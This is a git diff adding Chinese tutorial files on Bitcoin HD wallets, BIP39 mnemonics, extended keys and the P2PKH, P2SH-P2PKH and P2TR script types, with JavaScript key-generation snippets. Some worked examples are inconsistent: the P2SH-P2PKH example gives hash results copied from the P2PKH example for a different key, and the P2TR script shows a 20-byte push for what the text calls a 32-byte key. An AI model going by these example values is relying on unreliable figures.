+- **子密钥**：从主密钥派生而来，每个子密钥都有自己的私钥、公钥和链码。
+
+### 2. **种子生成**
+- **助记词**：助记词由熵（随机位数）通过哈希和校验生成。例如，一个128位的熵可以生成12个助记词。
+- **种子生成算法**：
+  - 助记词经过PBKDF2（Password-Based Key Derivation Function 2）算法与一个盐值（通常是 `mnemonic` + 密码短语）组合，生成512位种子。
+
+### 3. **主密钥生成**
+- 使用HMAC-SHA512算法，以种子作为输入，和常量字符串“Bitcoin seed”作为HMAC密钥来生成512位输出。
+- 输出前256位为主私钥（`m`），后256位为链码（`c`）。
+  
+  **HMAC计算公式**：
+  ```
+  I = HMAC-SHA512(key="Bitcoin seed", data=seed)
+  ```
+  ```
+  master_private_key = I[0:32]
+  master_chain_code = I[32:64]
+  ```
+
+### 4. **子密钥推导过程**
+子密钥推导是HD钱包中生成子密钥的核心过程，可以通过**标准派生**和**硬化派生**来实现。
+
+#### a. **标准派生（Non-hardened derivation）**
+- 使用父公钥和链码推导子公钥，公钥和链码可以生成下一级的公钥链，但无法推导出私钥。
+- 算法：
+  ```
+  I = HMAC-SHA512(key=cpar, data=serP(Kpar) || ser32(i))
+  ```
+  - `cpar`：父链码。
+  - `serP(Kpar)`：父公钥的序列化形式。
+  - `ser32(i)`：索引值的32位表示。
+  - `I` 分成两部分：`IL`（左半部分）和 `IR`（右半部分）。
+
+- 子私钥计算公式：
+  ```
+  ki = (IL + kpar) % n
+  ci = IR
+  ```
+  - `ki`：子私钥。
+  - `n`：椭圆曲线的阶。
+
+#### b. **硬化派生（Hardened derivation）**
+- 使用父私钥生成子私钥。硬化派生增加了安全性，不能从子公钥推导出父密钥。
+- 算法：
+  ```
+  I = HMAC-SHA512(key=cpar, data=0x00 || ser256(kpar) || ser32(i))
+  ```
+  - `0x00` 前缀用于表示该派生使用的是私钥。
+  - `kpar` 是父私钥。
+  - `ci = IR` 是子链码。
+
+- 子私钥计算公式：
+  ```
+  ki = (IL + kpar) % n
+  ci = IR
+  ```
+
+### 5. **路径表示**
+BIP44引入了用于多币种和多账户的标准路径表示：
+```
+m / purpose' / coin_type' / account' / change / address_index
+```
+- **`purpose'`**：通常为44'，表示使用BIP44规范。
+- **`coin_type'`**：用于区分不同的加密货币，比如0'代表比特币，60'代表以太坊。
+- **`account'`**：账户编号，用于分离不同的账户。
+- **`change`**：0表示外部地址，1表示找零地址。
+- **`address_index`**：地址在账户中的索引。
+
+同时在BIP49和BIP84中也基于BIP44做了扩展，形成我们现在经常见到的BTC多个地址
+
+#### Legacy地址 - BIP44
+![Legacy:BIP44](./imgs/hd-wallets-derivation-paths-bip44.png)
+
+#### P2SH地址 - BIP49
+![Legacy:BIP49](./imgs/hd-wallets-derivation-paths-bip49.png)
+
+#### P2WPKH地址 - BIP84
+![Legacy:BIP84](./imgs/hd-wallets-derivation-paths-bip84.png)
+
+
+### 6. **ECC与HD钱包**
+HD钱包使用椭圆曲线加密（Elliptic Curve Cryptography, ECC）来确保公钥和私钥的安全性。公钥由私钥通过椭圆曲线点乘生成。标准加密算法如 `secp256k1` 在HD钱包中被广泛使用。
+
+**公钥生成公式**：
+```
+P = k * G
+```
+- `P` 是公钥，`k` 是私钥，`G` 是椭圆曲线的生成点。
+
+### 7. **实现细节示例**
+使用JavaScript库实现HD钱包的生成和子密钥推导：
+
+```javascript
+const bip32 = require('bip32');
+const bip39 = require('bip39');
+
+// 生成助记词和种子
+const mnemonic = bip39.generateMnemonic();
+const seed = bip39.mnemonicToSeedSync(mnemonic);
+
+// 从种子生成HD钱包根节点
+const root = bip32.fromSeed(seed);
+
+// 派生路径：m/44'/0'/0'/0/0
+const child = root.derivePath("m/44'/0'/0'/0/0");
+
+console.log('助记词:', mnemonic);
+console.log('子公钥:', child.publicKey.toString('hex'));
+console.log('子私钥:', child.toWIF());
+```
+
+### 8. **安全性与注意事项**
+- **助记词备份**：确保助记词安全存储，一旦丢失或泄露，可能导致资产永久损失或被盗。
+- **硬化派生的使用**：硬化派生确保公钥无法推导出父级私钥，提高了安全性，建议在生成重要的子密钥时使用。
+
+### **总结**
+HD钱包通过分层结构和确定性算法，为用户提供了简单的密钥管理方式。其分层树结构和子密钥推导机制使得一个种子就能生成无限数量的私钥和公钥，极大地提高了用户体验和安全性。
\ No newline at end of file
diff --git a/btc/Basic/hdwallet/extendKeys.md b/btc/Basic/hdwallet/extendKeys.md
new file mode 100644
index 000000000..9102d4de8
--- /dev/null
+++ b/btc/Basic/hdwallet/extendKeys.md
@@ -0,0 +1,104 @@
+HD钱包中的**扩展公钥（Extended Public Key, xPub）**和**扩展私钥（Extended Private Key, xPriv）**是BIP32标准的一部分，它们是用于派生子密钥和管理钱包的关键概念。以下是它们的详细技术介绍。
+
+### 1. **扩展密钥的定义**
+- **扩展私钥（xPriv）**：包含私钥和链码的信息，允许派生出子私钥和子公钥。
+- **扩展公钥（xPub）**：包含公钥和链码的信息，只能派生出子公钥，无法推导出私钥。
+
+![extend keys](./imgs/hd-wallets-extended-keys.png)
+
+### 2. **扩展密钥的组成**
+扩展密钥不仅包括公钥或私钥，还包括链码（Chain Code）、路径信息等，以支持分层确定性派生。扩展密钥的完整组成如下：
+
+- **公钥/私钥**：用于加密和签名的密钥。
+- **链码**：确保子密钥派生时的不可预测性，提供额外的随机性。
+- **深度（Depth）**：当前密钥的层级深度，根节点为0。
+- **父公钥指纹（Parent Fingerprint）**：标识父密钥，用于防止路径冲突。
+- **索引（Index）**：指示该密钥在父密钥下的派生索引。
+- **版本（Version）**：指示密钥类型（xPub 或 xPriv）。
+- **校验和**：用于验证密钥完整性。
+
+### 3. **扩展密钥的编码格式**
+扩展密钥通常以Base58Check格式进行编码，确保其易于人类读取和传输。Base58Check编码避免了易混淆的字符（如0和O，l和I）。编码后的扩展密钥通常以以下前缀开头：
+- **xPub**：用于表示扩展公钥。
+- **xPriv**：用于表示扩展私钥。
+
+#### **编码示例**
+扩展密钥的编码格式如下：
+```
+[version (4 bytes)][depth (1 byte)][parent fingerprint (4 bytes)][child number (4 bytes)]
+[chain code (32 bytes)][key data (33 bytes)][checksum (4 bytes)]
+```
+
+### 4. **生成扩展私钥和扩展公钥**
+#### a. **生成扩展私钥**
+扩展私钥是通过HMAC-SHA512生成的。算法步骤如下：
+- 生成主私钥和链码时，将种子输入HMAC-SHA512，并使用“Bitcoin seed”作为密钥。
+- 输出前32字节是私钥，后32字节是链码。
+
+#### b. **生成扩展公钥**
+从扩展私钥可以生成扩展公钥，通过椭圆曲线加密（ECC）运算将私钥转换为公钥。
+
+**扩展公钥生成步骤**：
+- 取扩展私钥的前32字节（私钥部分），并将其转换为公钥。
+- 保留链码和其他元数据。
+
+### 5. **子密钥派生过程**
+扩展密钥的强大之处在于，它们支持通过链码进行分层确定性派生，生成子密钥而不需要暴露父级的私钥。
+
+#### a. **从扩展私钥派生子私钥**
+扩展私钥可以派生子私钥和子公钥。
+- **算法**：
+  ```
+  I = HMAC-SHA512(key=parent_chain_code, data=0x00 || parent_private_key || child_index)
+  ```
+  - `I` 的前32字节用作派生的子私钥的一部分，后32字节用作新的子链码。
+  - 子私钥公式：`child_private_key = (IL + parent_private_key) % n`。
+
+#### b. **从扩展公钥派生子公钥**
+扩展公钥只能派生子公钥，无法反推出私钥，确保了安全性。
+- **算法**：
+  ```
+  I = HMAC-SHA512(key=parent_chain_code, data=parent_public_key || child_index)
+  ```
+  - 子公钥通过公钥加法计算得出。
+  - 子公钥公式：`child_public_key = G * IL + parent_public_key`（`G` 为椭圆曲线生成点）。
+
+  
+![why-it-works](./imgs/hd-wallets-extended-keys-why-it-works.png)
+
+### 6. **硬化派生与标准派生**
+- **硬化派生**（Hardened Derivation）：只能通过扩展私钥派生，子公钥无法通过扩展公钥派生出来，增加了安全性。索引大于等于 `2^31` 的值用于硬化派生。
+- **标准派生**（Non-Hardened Derivation）：可以通过扩展公钥派生出子公钥，索引小于 `2^31`。
+
+### 7. **用途和安全性**
+- **xPub的应用**：适用于公开应用，如钱包软件中用来显示和管理多个收款地址。通过扩展公钥，第三方可以生成新的地址而不接触私钥。
+- **xPriv的应用**：仅用于安全环境，绝不能公开，以防止密钥泄露。
+
+**安全注意事项**：
+- **保护扩展私钥**：xPriv的泄露意味着整个密钥树的私钥都处于危险中。
+- **使用硬化派生**：在可能被公开的路径中，建议使用硬化派生来确保私钥安全。
+
+### 8. **示例代码**
+以下是使用JavaScript库生成扩展密钥的示例代码：
+
+```javascript
+const bip32 = require('bip32');
+const bip39 = require('bip39');
+
+// 生成助记词和种子
+const mnemonic = bip39.generateMnemonic();
+const seed = bip39.mnemonicToSeedSync(mnemonic);
+
+// 生成根节点
+const root = bip32.fromSeed(seed);
+
+// 获取扩展公钥和扩展私钥
+const xPriv = root.toBase58();
+const xPub = root.neutered().toBase58();
+
+console.log('扩展私钥 (xPriv):', xPriv);
+console.log('扩展公钥 (xPub):', xPub);
+```
+
+### **总结**
+扩展公钥（xPub）和扩展私钥（xPriv）是HD钱包中的核心概念，提供了派生和管理子密钥的能力。xPriv 可以派生子私钥和子公钥，而 xPub 只能派生子公钥。使用这些扩展密钥，用户和开发者可以实现灵活的密钥管理，同时保证密钥的安全性。
\ No newline at end of file
diff --git a/btc/Basic/hdwallet/imgs/entry-to-mnemonic.png b/btc/Basic/hdwallet/imgs/entry-to-mnemonic.png
new file mode 100644
index 000000000..6c910099d
Binary files /dev/null and b/btc/Basic/hdwallet/imgs/entry-to-mnemonic.png differ
diff --git a/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip44.png b/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip44.png
new file mode 100644
index 000000000..53548c84e
Binary files /dev/null and b/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip44.png differ
diff --git a/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip49.png b/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip49.png
new file mode 100644
index 000000000..bd1db95d5
Binary files /dev/null and b/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip49.png differ
diff --git a/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip84.png b/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip84.png
new file mode 100644
index 000000000..fc6667196
Binary files /dev/null and b/btc/Basic/hdwallet/imgs/hd-wallets-derivation-paths-bip84.png differ
diff --git a/btc/Basic/hdwallet/imgs/hd-wallets-extended-keys-why-it-works.png b/btc/Basic/hdwallet/imgs/hd-wallets-extended-keys-why-it-works.png
new file mode 100644
index 000000000..79cb14a13
Binary files /dev/null and b/btc/Basic/hdwallet/imgs/hd-wallets-extended-keys-why-it-works.png differ
diff --git a/btc/Basic/hdwallet/imgs/hd-wallets-extended-keys.png b/btc/Basic/hdwallet/imgs/hd-wallets-extended-keys.png
new file mode 100644
index 000000000..4615602eb
Binary files /dev/null and b/btc/Basic/hdwallet/imgs/hd-wallets-extended-keys.png differ
diff --git a/btc/Basic/hdwallet/imgs/mnemonic-to-seed.jpeg b/btc/Basic/hdwallet/imgs/mnemonic-to-seed.jpeg
new file mode 100644
index 000000000..664314fae
Binary files /dev/null and b/btc/Basic/hdwallet/imgs/mnemonic-to-seed.jpeg differ
diff --git a/btc/Basic/hdwallet/imgs/seed-to-root.png b/btc/Basic/hdwallet/imgs/seed-to-root.png
new file mode 100644
index 000000000..dfdbb47d4
Binary files /dev/null and b/btc/Basic/hdwallet/imgs/seed-to-root.png differ
diff --git a/btc/Basic/hdwallet/mnemonic.md b/btc/Basic/hdwallet/mnemonic.md
new file mode 100644
index 000000000..9d358a867
--- /dev/null
+++ b/btc/Basic/hdwallet/mnemonic.md
@@ -0,0 +1,88 @@
+HD钱包中的助记词（Mnemonic Phrase）是一组人类可读的单词，用来表示随机生成的种子。助记词为用户提供了一个易于备份和恢复的钱包方式，极大地简化了复杂的密钥管理。以下是HD钱包助记词的详细技术原理：
+
+### 1. **助记词的定义和作用**
+助记词是一串用来帮助用户记忆种子的单词序列。HD钱包使用助记词来生成用于派生密钥的种子，因此只要备份助记词，就可以恢复整个钱包的密钥树。
+
+### 2. **助记词生成的步骤**
+助记词生成过程基于BIP39标准，涉及以下步骤：
+
+#### a. **生成熵（Entropy）**
+- **熵的定义**：熵是用于随机生成助记词的随机位序列。常见的熵长度有128位、160位、192位、224位和256位。
+- **例子**：假设熵为128位，它会生成12个单词的助记词。
+
+#### b. **计算校验和（Checksum）**
+- 将熵进行SHA-256哈希，取哈希结果的前 `ENT / 32` 位作为校验和，其中 `ENT` 是熵的位长度。
+- **例子**：如果熵是128位，则校验和为 `128 / 32 = 4` 位。
+
+#### c. **组合熵和校验和**
+- 将原始熵和校验和组合，形成一个新的位序列。例如，128位熵加上4位校验和形成132位序列。
+
+#### d. **分割为11位块**
+- 将132位的位序列分割为多个11位的块，每个块可以表示0到2047之间的一个数字。
+- 这些数字用于从一个2048个单词的字典（BIP39单词表）中查找对应的单词。
+
+
+![entry-to-mnemonic.png](./imgs/entry-to-mnemonic.png)
+
+### 3. **BIP39单词表**
+- **固定单词表**：BIP39定义了一个包含2048个单词的标准单词表。这些单词具有以下特点：
+  - 每个单词都有明确的拼写，不易混淆。
+  - 单词表的不同语言版本保持一致性，但使用的是本地语言词汇。
+
+### 4. **种子生成**
+助记词本身并不能直接用于密钥派生。助记词需要经过密码学处理生成一个种子，种子用来生成HD钱包的主私钥和链码。
+
+#### a. **PBKDF2函数**
+- 助记词通过PBKDF2-HMAC-SHA512算法与一个盐值组合，生成512位种子。
+- **盐值**：通常是 `mnemonic` 加上一个用户提供的密码短语（可选），增强了安全性。
+- **算法**：
+  ```text
+  seed = PBKDF2(mnemonic, "mnemonic" + passphrase, 2048, 64, HMAC-SHA512)
+  ```
+
+
+![mnemonic-to-seed.png](./imgs/mnemonic-to-seed.jpeg)
+
+
+### 5. **助记词的恢复**
+当用户输入助记词进行恢复时，钱包软件会执行以下步骤：
+- 将助记词映射回原始熵和校验和。
+- 验证助记词是否有效（检查校验和）。
+- 使用PBKDF2函数将助记词和用户输入的密码短语（如果有）转换为种子。
+- 通过该种子生成HD钱包的主私钥和链码，从而恢复整个密钥树。
+
+
+![seed-to-root.png](./imgs/seed-to-root.png)
+
+
+### 6. **助记词的优点**
+- **易于记忆和备份**：助记词比纯随机的密钥更容易记住和存储。
+- **便于恢复**：只要用户保留助记词，就可以在任何支持BIP39的HD钱包中恢复整个钱包。
+- **增加安全性**：通过密码短语增强了助记词的安全性。如果助记词被泄露，攻击者仍然需要知道密码短语才能恢复钱包。
+
+### 7. **助记词的安全注意事项**
+- **备份和存储**：助记词应以离线方式备份，如写在纸上并存放在安全的地方。不要将助记词存储在联网设备上。
+- **密码短语**：使用一个复杂且不易猜测的密码短语可以大大提高安全性，即使助记词被盗，攻击者也无法轻易访问钱包。
+- **防止物理和电子威胁**：确保助记词的存储位置防范火灾、盗窃或电子攻击。
+
+### 8. **技术示例**
+以下是使用JavaScript库生成助记词和种子的示例代码：
+
+```javascript
+const bip39 = require('bip39');
+
+// 生成12个单词的助记词
+const mnemonic = bip39.generateMnemonic();
+console.log('助记词:', mnemonic);
+
+// 验证助记词是否合法
+const isValid = bip39.validateMnemonic(mnemonic);
+console.log('助记词是否合法:', isValid);
+
+// 将助记词转换为种子
+const seed = bip39.mnemonicToSeedSync(mnemonic, '可选的密码短语');
+console.log('生成的种子:', seed.toString('hex'));
+```
+
+### **总结**
+HD钱包的助记词系统提供了一种安全、便捷的方式来管理和恢复钱包。助记词通过熵、校验和、PBKDF2算法生成种子，从而衍生出一棵密钥树。理解助记词的原理有助于用户更好地保护自己的数字资产，同时也能帮助开发者实现符合BIP39标准的钱包应用。
\ No newline at end of file
diff --git a/btc/Basic/payment/P2PKH.md b/btc/Basic/payment/P2PKH.md
new file mode 100644
index 000000000..8a086dba0
--- /dev/null
+++ b/btc/Basic/payment/P2PKH.md
@@ -0,0 +1,87 @@
+# 简介
+
+[P2PKH（Pay-to-Public-Key-Hash）](../wallet/address.js#L42)是比特币网络中最常用的一种交易类型，设计用来将比特币支付到某个具体的公钥哈希，而不是直接到公钥本身。这种方式提供了更高的安全性和隐私保护。在P2PKH交易中，比特币被发送到一个地址，这个地址实际上是持有者公钥的哈希版本。这种地址通常以数字"1"开头。地址不仅简洁，而且通过哈希公钥，隐藏了公钥的实际内容，增加了隐私保护层。
+
+# 工作过程
+
+## ScriptPubKey(锁定脚本)
+
+P2PKH脚本模式包含一个公钥哈希，该哈希和以下操作码共同构成锁定脚本
+
+```js
+// 模版
+OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+
+OP_DUP // 复制栈顶的元素
+OP_HASH160 // 弹出栈顶元素，计算其SHA-256散列，然后计算RIPEMD-160散列
+OP_PUSHBYTES_20 // 推送20字节的公钥哈希到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 公钥哈希
+OP_EQUALVERIFY // 比较栈顶元素是否匹配
+OP_CHECKSIG // 验证数字签名
+
+```
+
+## ScriptSig(解锁脚本)
+
+要解锁花费此脚本，上面公钥的所有者需要提供原始公钥以及的有效签名
+
+```js
+// 模版
+<Singature> <Public Key>
+
+OP_PUSHBYTES_72 // 推送72字节到栈顶
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401 // 签名数据
+OP_PUSHBYTES_33 // 推送33字节到栈顶
+03480b6822120e9936b43859d84c380583c3d0292409b21453ae962815090f8117 // 压缩公钥
+```
+
+## 执行过程
+
+1. 脚本合并，ScriptSig在前ScriptPubKey在后
+
+```js
+<Singature> <Public Key> OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+```
+
+2. 栈内执行
+
+- OP_DUP 从栈里取出公钥，复制并做HASH160推进栈顶
+- OP_EQUALVERIFY 对比上一步的计算结果和Public Key Hash
+- OP_CHECKSIG 校验数字签名，如果通过锁定脚本合法可以花费对应UTXO，如果不通过交易失败
+
+## 地址生成
+
+P2PKH支付方式从公钥生成地址遵循以下详细步骤：
+
+### 步骤1: 计算公钥哈希
+
+1. **计算公钥的SHA-256哈希值**：首先，对公钥进行SHA-256哈希运算。
+2. **计算RIPEMD-160哈希值**：然后，对SHA-256的结果再进行RIPEMD-160哈希运算。这两步哈希运算的结果称为公钥哈希（PKH）。
+
+### 步骤2: 添加版本字节
+
+- **添加版本字节**：在公钥哈希前添加一个版本字节（比特币主网络的P2PKH地址的版本是0x00, 测试网是0x6f）。这有助于钱包软件识别和处理不同类型的地址。
+
+### 步骤3: 计算校验和
+
+1. **双重SHA-256哈希**：对带有版本字节的公钥哈希进行两次SHA-256哈希运算。
+2. **取前四个字节**：从双重哈希的结果中取出前四个字节，这部分称为校验和。
+
+### 步骤4: 生成地址
+
+- **组合和Base58编码**：将版本字节和公钥哈希以及校验和组合在一起，整个结构为：
+  ```js
+  [version byte][public key hash][checksum]
+  ```
+  然后，对整个字节串进行Base58编码，以生成最终的P2PKH地址。
+
+### 示例
+
+假设有一个公钥，步骤如下：
+
+1. **公钥**： `022c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469`
+2. **SHA-256哈希**：计算结果: `98a21cf747c0fcd80845afffa2260feb64aa7cc2b73ac681407b25229bad3bbc`。
+3. **RIPEMD-160哈希**：计算结果: `999ff7726530ed0d0a7eb3b7442c5143f643f638`。
+4. **添加版本字节**：`00` + [RIPEMD-160哈希结果]。
+5. **计算校验和**：对上述结果执行两次SHA-256，取前四个字节。
+6. **Base58编码**：将最终字节串转换为Base58编码：`1F1J22NAAgnNHXNojT7W8GfP9JSXXjTV8N`
diff --git a/btc/Basic/payment/P2SH-P2PKH.md b/btc/Basic/payment/P2SH-P2PKH.md
new file mode 100644
index 000000000..3ec7e608d
--- /dev/null
+++ b/btc/Basic/payment/P2SH-P2PKH.md
@@ -0,0 +1,113 @@
+# 简介
+
+[P2SH-P2PKH（Pay to Script Hash - Pay to Public Key Hash）](../wallet/address.js#L43)是一种混合地址类型，结合了P2SH（支付到脚本哈希）和P2PKH（支付到公钥哈希）的特点。这种地址类型旨在增强比特币交易的灵活性和安全性。`P2SH`是在2012年通过比特币改进提案BIP 0016引入的，允许用户发送比特币到一个脚本的哈希值，而不是直接发送到公钥的哈希值。这样做的好处是可以隐藏脚本的具体细节，只有在花费比特币时才需要揭示。这对于实现更复杂的交易类型（如多重签名）非常有用。`P2SH-P2PKH`结合了`P2SH`和`P2PKH`的特性。在这种地址类型中，交易输出不是直接支付到公钥哈希，而是支付到一个包含`P2PKH`脚本的`P2SH`地址。`P2SH-P2PKH`地址通常以“3”开始，不同于传统的`P2PKH`地址，后者以“1”开始。这种地址类型是比特币地址方案中的一种进阶形式，适用于需要额外安全或复杂交易类型的用户。
+
+# 工作过程
+
+## ScriptPubKey(锁定脚本)
+
+在P2SH-P2PKH交易中，锁定脚本不直接包含传统的P2PKH脚本。相反，它包含了对应P2PKH脚本的哈希值。锁定脚本的形式如下：
+
+```js
+// 模版
+OP_HASH160 <scriptHash> OP_EQUAL
+其中
+scriptHash = hash160(OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG)
+
+OP_HASH160 // 弹出栈顶元素，计算其SHA-256散列，然后计算RIPEMD-160散列
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // 脚本哈希
+OP_EQUAL // 比较栈顶两个元素相等
+```
+
+## ScriptSig(解锁脚本)
+
+要解锁花费此脚本，上面公钥的所有者需要提供公钥，有效签名以及原始脚本
+
+```js
+// 模版
+<Singature> <Public Key> <redeemScript>
+
+OP_PUSHBYTES_72 // 推送72字节到栈顶
+3045022100c233c3a8a510e03ad18b0a24694ef00c78101bfd5ac075b8c1037952ce26e91e02205aa5f8f88f29bb4ad5808ebc12abfd26bd791256f367b04c6d955f01f28a772401 // 签名数据
+OP_PUSHBYTES_33 // 推送33字节到栈顶
+03480b6822120e9936b43859d84c380583c3d0292409b21453ae962815090f8117 // 压缩公钥
+OP_PUSHBYTES_25 // 推送25字节到栈顶
+76a9148876d7c7a76e29c4c9d160c066fead1d2adfe5a788ac // 赎回脚本
+```
+
+## 执行过程
+
+1. 脚本合并，ScriptSig在前ScriptPubKey在后
+
+```js
+<Singature> <Public Key> <redeemScript> OP_HASH160 <scriptHash> OP_EQUAL
+
+其中
+redeemScript = OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG
+
+scriptHash = hash160(OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG)
+```
+
+2. 栈内执行
+
+- 提取和验证`redeemScript`：  
+  首先，从`ScriptSig`中提取`redeemScript`。
+  然后，计算`redeemScript`的哈希值，并检查它是否与`ScriptPubKey`中的`<scriptHash>`相匹配。
+
+- 执行`redeemScript`：  
+  如果`redeemScript`的哈希值验证通过，接下来的步骤是执行`redeemScript`本身。
+  这时，栈中应该已经有了签名`<Singature>`和公钥`<Public Key>`。
+  redeemScript首先复制公钥`OP_DUP`，计算公钥的哈希`OP_HASH160`，并与栈中的公钥哈希`<Public Key Hash>`进行比较`OP_EQUALVERIFY`。
+  如果公钥哈希匹配，最后一步是验证签名是否正确`OP_CHECKSIG`。这一步检查提供的签名是否是用相关的私钥对交易的其余部分进行了签名。
+
+- 完成验证：  
+  如果以上步骤都成功，说明交易中的资金可以被花费，否则交易将被拒绝。
+
+## 地址生成
+
+P2SH-P2PKH地址生成遵循以下步骤，这些步骤与生成P2PKH地址的步骤相似，但涉及一些关键的不同之处，特别是在脚本的使用和版本字节的应用上。
+
+### 步骤1: 创建并哈希化 `P2PKH` 脚本
+
+1. **创建 `P2PKH` 脚本**：
+   - 构建一个典型的P2PKH脚本：`OP_DUP OP_HASH160 <Public Key Hash> OP_EQUALVERIFY OP_CHECKSIG`，其中`<Public Key Hash>`是公钥的RIPEMD-160哈希。
+2. **计算脚本的SHA-256哈希值**：
+   - 对整个脚本进行SHA-256哈希运算。
+3. **计算RIPEMD-160哈希值**：
+   - 接着，对SHA-256的结果再进行RIPEMD-160哈希运算。这个哈希值称为脚本哈希（Script Hash）。
+
+### 步骤2: 添加版本字节
+
+- **添加版本字节**：
+  - 在脚本哈希前添加版本字节（比特币主网络的P2SH地址的版本是0x05, 测试网是0xc4）。这有助于钱包软件识别和处理P2SH地址。
+
+### 步骤3: 计算校验和
+
+1. **双重SHA-256哈希**：
+   - 对带有版本字节的脚本哈希进行两次SHA-256哈希运算。
+2. **取前四个字节**：
+   - 从双重哈希的结果中取出前四个字节作为校验和。
+
+### 步骤4: 生成地址
+
+- **组合和Base58编码**：
+  - 将版本字节、脚本哈希以及校验和组合在一起，结构如下：
+    ```js
+    [version byte][script hash][checksum]
+    ```
+  - 然后，对整个字节串进行Base58编码，生成最终的P2SH-P2PKH地址。
+
+### 示例
+
+假设有一个公钥，步骤如下：
+
+1. **公钥**： `04480b6822120e9022c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469936b43859d84c380583c3d0292409b21453ae962815090f8117883c2a3fd7571b12f34491809d48467dae4e2f162aef23de91e4532d0fc1e0c5`
+2. **SHA-256哈希**：计算结果: `98a21cf747c0fcd80845afffa2260feb64aa7cc2b73ac681407b25229bad3bbc`
+3. **RIPEMD-160哈希**：计算结果: `999ff7726530ed0d0a7eb3b7442c5143f643f638`
+4. **创建并哈希化 P2PKH 脚本**：  
+   创建一个P2PKH脚本：OP_DUP OP_HASH160 <pubKeyHash> OP_EQUALVERIFY OP_CHECKSIG。  
+   计算脚本哈希：将整个P2PKH脚本进行SHA-256哈希运算，然后再进行RIPEMD-160哈希运算，生成脚本哈希。
+5. **添加版本字节**：`05` + [RIPEMD-160哈希结果]。
+6. **计算校验和**：对上述结果执行两次SHA-256，取前四个字节。
+7. **Base58编码**：将最终字节串转换为Base58编码：`3NB2grHkCeer9o7Guvr6qCXCsDsjX3mTan`
diff --git a/btc/Basic/payment/P2TR.md b/btc/Basic/payment/P2TR.md
new file mode 100644
index 000000000..b457a6840
--- /dev/null
+++ b/btc/Basic/payment/P2TR.md
@@ -0,0 +1,68 @@
+# 简介
+
+[P2TR（Pay to Taproot）](../wallet/address.js#L45)是一种使用Taproot技术的比特币地址类型，由BIP 0341在2020年正式引入。Taproot是通过使用Schnorr签名和MAST（Merkelized Abstract Syntax Trees）来增强比特币的隐私性和效率。Taproot Output 是版本为 1 的隔离见证 Output，统一了这两种形式。P2TR 的 Output 的 scriptPubKey 字段是一样的，我们无法从 Output 的格式来得知这个 Output 是由 Schnorr 签名锁定（即 Key Path）还是由脚本锁定（即 Script Path），这样有更好的隐私。这种类型的地址支持更复杂的条件，同时在外部看起来与普通交易无异。P2TR地址通常使用Bech32m编码格式，以“bc1p”开始。
+
+# 工作过程
+
+## ScriptPubKey(锁定脚本)
+
+在P2TR交易中，锁定脚本包括：
+
+```js
+// 模版
+OP_1 <x-only-pubkey>
+
+
+OP_1 // 表示版本号，对于P2TR是1
+OP_PUSHBYTES_20 // 推送20字节到栈顶
+18e1fad25b2983d5dbb2e2b96e3ce756a69b3bc2 // tweaked-public-key
+```
+
+- `OP_1`：标识Taproot版本号，目前为1。
+- `<x-only-pubkey>`：是tweak公钥的X坐标，key path和script path在生成方式上不同，采用32字节的压缩格式。
+
+## Witness(见证数据)
+
+解锁P2TR输出，需要在见证字段提供以下信息，具体取决于花费条件：
+
+```js
+// 模版
+[signature] [control block] [script]
+
+01  // Witness 元素的个数
+40  // schnorr签名长度
+743bbb3df4e95df5e70c2a3e72dd9d05933a018ad1bbd4b700841824ed18bebbc54d1b4d03b252aaa5c373390c68ba119fdf70e0bab71694a4db0da3fe8fefcc  // schnorr签名
+```
+
+- `signature`：Schnorr签名。
+- `control block`：如果是通过脚本路径花费，包含与Taproot脚本路径相关的数据
+- `script`：如果是通过脚本路径花费，此处包含实际脚本。
+
+## 执行过程
+
+P2TR分为key path和script path，通过在花费 P2TR UTXO 时，Witness 中包含元素个数来区分，只包含一个元素签名的即为key path。签名算法可以参考[Schnorr](../signature/README.md#L105)，P2TR的验签过称可以参考[taproot](https://aandds.com/blog/bitcoin-taproot.html)
+
+## 地址生成
+
+P2TR地址包含key path和script path两种情况，目前常见的钱包支持基于用户公钥的key path地址，改地址的生成过程如下：
+
+### 步骤1: 获取用户公钥
+
+获取用户公钥的`internalPubkey`坐标 `P`  
+ $P = toXOnly(internalPubkey)$
+
+### 步骤2: 计算扭曲公钥
+
+$Q = P + t\*G = P + TaggedHash('TapTweak', P)G$
+
+### 步骤3: Bech32m编码
+
+使用Bech32m编码方案将曲公钥编码为一个P2TR地址。这种编码格式提供了比Bech32更好的错误校验能力。
+
+### 示例
+
+假设有一个公钥的X坐标，步骤如下：
+
+1. **公钥X坐标**： `2c3ee7cdb92394e32e82ec5bc8860c8888df6a9910537e90c75079726a2a8469`
+2. **扭曲公钥X坐标**： `84d67b14669b9eccf5fa76ac48294527e44e829a4534f0e695061e5a1a5a5c20`
+3. **Bech32m编码**：将扭曲公钥X坐标转换为Bech32m编码：`bc1psnt8k9rxnw0vea06w6kys229yljyaq56g560pe54qc095xj6tssq3fpwfp`
diff --git a/btc/Basic/payment/P2WPKH.md b/btc/Basic/payment/P2WPKH.md
new file mode 100644
index 000000000..f8884e9a6
--- /dev/null
+++ b/btc/Basic/payment/P2WPKH.md
@@ -0,0 +1,71 @@
+# 简介
+
